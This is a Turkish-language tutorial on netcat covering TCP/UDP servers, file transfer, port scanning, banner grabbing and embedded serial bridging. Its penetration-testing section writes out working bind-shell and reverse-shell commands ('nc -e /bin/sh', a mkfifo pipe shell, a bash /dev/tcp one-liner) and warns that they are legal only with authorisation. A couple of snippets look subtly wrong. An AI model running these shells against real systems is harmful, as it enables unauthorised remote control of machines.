Ağ Araçları
TEKNİK REHBER AĞ ARAÇLARI TCP/UDP TEST 2026

netcat
isviçre çakısı.

TCP sunucu kur, dosya aktar, port tara, banner oku, bağlantı test et — hepsi tek komutla.

00 netcat nedir — varyantlar ve farklar

netcat, TCP ve UDP soketleri üzerinden veri okuyup yazabilen minimal bir araçtır. Basit görünüşünün arkasında sayısız kullanım senaryosu saklanır.

Üç ana varyant mevcuttur:

VaryantKomutNereden gelirFarkı
GNU netcatncnetcat paketiKlasik, -e flag'i (komut çalıştır)
OpenBSD ncncnetcat-openbsd-e yok, proxy ve SOCKS desteği var
ncatncatnmap paketiTLS, brokering, SSL desteği
busybox ncncbusyboxMinimal, embedded için
bash
# Hangi nc var?
nc --version 2>&1 | head -1
readlink -f $(which nc)

# Kurulum
apt-get install netcat-openbsd    # Ubuntu/Debian önerilen
apt-get install ncat               # nmap'ten gelen güçlü versiyon
-e FLAG GÜVENLİK RİSKİ

GNU netcat'in -e /bin/bash flag'i bağlantı kurulduğunda bir shell başlatır. Bu özelliği olan nc binary'si üretim sistemlerinde çalışıyor olmamalı. OpenBSD nc ve ncat bu flag'i içermez — embedded güvenlik için OpenBSD versiyonu tercih edilir.

01 TCP server ve client kurma

nc'nin en temel kullanımı: bir tarafta dinle, diğer tarafta bağlan.

Server modu (-l)

bash — Terminal 1 (server)
# Port 8080'de dinle
nc -l -p 8080
# Veya kısa yazım (OpenBSD nc):
nc -l 8080

# Verbose mod — bağlantı bilgisi göster
nc -l -v 8080
# Listening on 0.0.0.0 8080
# Connection received on 192.168.1.5 54321
bash — Terminal 2 (client)
# Server'a bağlan
nc 192.168.1.10 8080

# Bağlantı kurulunca iki terminal arasında metin yazışması başlar
# Ctrl+C veya Ctrl+D ile bağlantıyı kes

-k ile kalıcı server (keep-open)

bash
# İlk bağlantı kapandıktan sonra tekrar dinlemeye geç (-k)
# Sadece ncat ve yeni nc versiyonlarında desteklenir
ncat -l -k 8080

# Önceki bağlantı kapanınca yeni bağlantı kabul et
# Test endpoint olarak çok kullanışlı

Echo server (pipe ile)

bash
# Gelen her şeyi geri gönderen echo server
while true; do
  nc -l 8080 | nc -l 8080
done

# Daha temiz: socat ile (nc'den daha güçlü)
socat TCP-LISTEN:8080,fork EXEC:"cat"

02 UDP modu

-u flag'i ile nc UDP moduna geçer. DNS, SNMP, DHCP, özel protokoller test etmek için kullanılır.

bash
# UDP server (port 5005'te dinle)
nc -u -l 5005

# UDP client
nc -u 192.168.1.10 5005

# UDP'de broadcast test
echo "merhaba" | nc -u -b 192.168.1.255 5005

# DNS sorgusu benzetimi (UDP port 53 test)
nc -u -v 8.8.8.8 53
# Bağlandı mı? UDP'de bağlantı kavramı yoktur — paket gönderilebiliyor mu?

# SNMP UDP portu açık mı?
nc -u -v -z -w 2 192.168.1.100 161
# -z = sıfır I/O (port kontrolü), -w = timeout saniye
UDP VE BAĞLANTI

TCP'de "bağlantı kuruldu" net bir kavramdır. UDP'de yoktur — nc -u ile bağlantı denemesi her zaman başarılı görünür çünkü UDP handshake yoktur. Gerçek test için karşı tarafın bir veri dönmesini bekle. ICMP port unreachable gelmesi kapalı demektir.

03 Dosya transferi

nc ile dosya transferi: SSH olmayan ortamda en hızlı yol. Şifreleme yok — güvenli ağda kullan.

bash — alıcı taraf (server)
# Dosyayı bekle ve kaydet
nc -l 9999 > received_file.bin

# İlerlemeyi görmek için pv (pipe viewer) kullan
nc -l 9999 | pv > received_file.bin
bash — gönderen taraf (client)
# Dosyayı gönder
nc 192.168.1.10 9999 < firmware.bin

# Gönderme bitince otomatik kes (-q 1 = 1 saniye bekle sonra kapat)
nc -q 1 192.168.1.10 9999 < firmware.bin

Sıkıştırarak transfer

bash
# Alıcı: gzip ile aç
nc -l 9999 | gzip -d > output.tar

# Gönderen: gzip ile sıkıştır
tar -czf - /path/to/directory | nc 192.168.1.10 9999

# Alıcı: doğrudan aç
nc -l 9999 | tar -xzf -

Dizin transferi (tar + nc)

bash
# Alıcı: /opt/app dizinine çıkart
nc -l 9999 | tar -xzf - -C /opt/app/

# Gönderen: /opt/app dizinini gönder
tar -czf - -C /opt app/ | nc 192.168.1.10 9999

# Transfer hızını ölç
time (tar -czf - /large_dir/ | nc 192.168.1.10 9999)
GÜVENLİK

nc dosya transferi şifresiz gerçekleşir. Güvensiz ağda SCP veya rsync over SSH kullan. nc yalnızca izole test ağı, lab ortamı veya embedded ilk kurulum senaryolarında uygundur.

04 Port tarama

nmap kadar güçlü olmasa da nc ile basit port taraması yapılabilir. nmap kurulu olmayan minimal sistemlerde kullanışlıdır.

bash
# -z = zero I/O modu (port tara, veri gönderme)
# -v = verbose (açık portları yaz)
# -w 1 = 1 saniye timeout

# Tek port tara
nc -z -v 192.168.1.100 80
# 192.168.1.100: inverse host lookup failed: Unknown host
# (UNKNOWN) [192.168.1.100] 80 (http) open  ← açık
# (UNKNOWN) [192.168.1.100] 80 (http) : Connection refused  ← kapalı

# Port aralığı tara
nc -z -v -w 1 192.168.1.100 80-443
# Ya da:
nc -z -v -w 1 192.168.1.100 1-1024 2>&1 | grep open

# Özel portlar
for port in 22 80 443 8080 8443 9000; do
  nc -z -w 1 192.168.1.100 $port 2>&1 && echo "$port açık"
done
NC vs NMAP PORT TARAMA

nc port taraması TCP connect kullanır (full handshake). Bu loglanır ve yavaştır. nmap -sS SYN taraması raw socket kullanır, daha hızlı ve daha az iz bırakır. Hızlı kontrol için nc yeterlidir, kapsamlı audit için nmap kullan.

05 Banner grabbing

Bir servisin kendini tanıttığı ilk mesaj (banner), servis türü ve versiyonu hakkında bilgi verir.

bash
# HTTP banner (GET isteği)
echo -e "GET / HTTP/1.0\r\nHost: 192.168.1.100\r\n\r\n" | \
  nc -w 3 192.168.1.100 80 | head -20
# HTTP/1.1 200 OK
# Server: nginx/1.24.0
# ...

# HTTP HEAD (body olmadan sadece header)
printf "HEAD / HTTP/1.0\r\nHost: %s\r\n\r\n" 192.168.1.100 | \
  nc -w 3 192.168.1.100 80

# SMTP banner
nc -w 5 mail.example.com 25
# 220 mail.example.com ESMTP Postfix

# SMTP EHLO komutu gönder
echo -e "EHLO test.local\r\n" | nc -w 3 mail.example.com 25

# SSH banner
nc -w 3 192.168.1.100 22
# SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

# FTP banner
nc -w 3 192.168.1.100 21
# 220 (vsFTPd 3.0.5)

# Özel TCP servisi — bağlan ve bekle
nc -v -w 5 192.168.1.100 9000
BANNER GİZLEME

Sunucularda servis banner'larını gizlemek güvenlik pratiğidir. nginx'te server_tokens off, Apache'de ServerTokens Prod. Embedded uygulamalarında banner gönderme — ya da kasıtlı yanıltıcı banner kullan. nc bu konfigürasyonları test etmek için idealdir.

06 Reverse shell ve bind shell

Güvenlik testi senaryosu. Yalnızca izniniz olan sistemlerde, eğitim veya penetrasyon testi amacıyla kullanın.

İki temel senaryo vardır:

  Bind Shell:  Hedef cihaz belirli bir portu dinler
               Saldırgan/test cihazı o porta bağlanır
               Hedef → port 4444 → <shell>

  Reverse Shell: Hedef cihaz test makinesine bağlanır
                  Firewall/NAT'ın arkasındaki cihazlara erişim için
                  Hedef → test_makinesi:4444 → <shell>
    

Bind shell — hedef dinliyor

bash — hedef cihaz (GNU nc gerekir)
# Hedef: port 4444'te shell sun
nc -l -p 4444 -e /bin/sh   # GNU nc -e ile

# GNU nc yoksa pipe ile (POSIX uyumlu)
mkfifo /tmp/pipe
sh -i < /tmp/pipe | nc -l 4444 > /tmp/pipe
rm /tmp/pipe
bash — test makinesi (bağlanır)
nc 192.168.1.100 4444
# Shell prompt açılır

Reverse shell — hedef bağlanıyor

bash — test makinesi (dinliyor)
# Test makinesi önce dinlemeye geçer
nc -l -v 4444
bash — hedef cihaz (bağlanır)
# Hedef test makinesine bağlanır ve shell başlatır
nc 192.168.1.5 4444 -e /bin/sh   # GNU nc

# Bash reverse shell (GNU nc yoksa)
bash -i &>/dev/tcp/192.168.1.5/4444 0&>&1
ETİK SINIRLAR

Bu teknikler güvenlik testinin vazgeçilmez parçasıdır. Ancak yalnızca açık izin verilen sistemlerde kullanılır. Yetkisiz sistemlere uygulamak Türk Ceza Kanunu'nun 243. ve 244. maddeleri kapsamında suçtur. Lab ortamı ve CTF dışında dikkatli ol.

07 Pratik: embedded TCP test ve serial bridge

Embedded sistemlerde nc, TCP servislerini test etmek ve serial port'u ağa köprülemek için idealdir.

Embedded TCP servis testi

bash
# Embedded cihazın TCP servisi çalışıyor mu?
nc -z -v -w 2 192.168.1.100 8883   # MQTT TLS
nc -z -v -w 2 192.168.1.100 1883   # MQTT plain
nc -z -v -w 2 192.168.1.100 502    # Modbus TCP

# MQTT test mesajı gönder (raw protokol)
# CONNECT paketi (minimal, unencrypted)
printf '\x10\x0c\x00\x04MQTT\x04\x00\x00\x3c\x00\x00' | \
  nc -w 3 192.168.1.100 1883 | xxd
# CONNACK: 20 02 00 00 → başarılı bağlantı

# Modbus TCP: Read Coils (Function Code 01)
printf '\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x08' | \
  nc -w 3 192.168.1.100 502 | xxd

Serial port → TCP bridge (socat ile)

Embedded geliştirmede seri konsola uzaktan erişmek gerekebilir. socat (nc'den daha güçlü) seri portu TCP'ye köprüler.

bash — cihaz tarafı (socat)
# /dev/ttyS0 seri portunu TCP 4444'e köprüle
socat TCP-LISTEN:4444,reuseaddr,fork \
      FILE:/dev/ttyS0,raw,echo=0,b115200

# Veya socat yoksa busybox nc + stty kombinasyonu:
stty -F /dev/ttyS0 115200 raw
nc -l 4444 <> /dev/ttyS0
bash — geliştirici makinesi (bağlanır)
# Seri konsola bağlan
nc 192.168.1.100 4444
# Artık /dev/ttyS0 üzerindeki cihazla konuşuyorsun

# Veya socat ile daha iyi terminal emülasyonu
socat -,raw,echo=0 TCP:192.168.1.100:4444

Script içinde bağlantı testi

bash — OTA öncesi bağlantı doğrulama
#!/bin/sh
# OTA başlamadan önce sunucuya bağlantı kontrol et

OTA_SERVER="192.168.1.50"
OTA_PORT="8443"

if nc -z -w 5 "$OTA_SERVER" "$OTA_PORT" 2>/dev/null; then
  echo "Sunucu erişilebilir, OTA başlatılıyor..."
  start_ota_update
else
  echo "HATA: OTA sunucusuna erişilemiyor ($OTA_SERVER:$OTA_PORT)"
  exit 1
fi